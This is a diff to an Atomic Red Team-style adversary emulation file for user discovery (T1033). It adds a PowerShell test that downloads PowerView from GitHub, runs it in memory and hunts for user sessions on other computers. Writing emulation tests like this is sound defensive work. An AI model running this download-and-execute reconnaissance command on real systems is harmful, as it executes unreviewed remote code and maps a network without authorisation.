diff --git a/atomics/T1033/T1033.yaml b/atomics/T1033/T1033.yaml index 793bfdea..014f8e2a 100644 --- a/atomics/T1033/T1033.yaml +++ b/atomics/T1033/T1033.yaml @@ -51,3 +51,14 @@ atomic_tests: users w who + +- name: Find computers where user has session - Stealth mode (PowerView) + description: + Find existing user session on other computers. Upon execution, information about any sessions discovered will be displayed. + supported_platforms: + - windows + executor: + name: powershell + elevation_required: false + command: | + IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1'); Invoke-UserHunter -Stealth -Verbose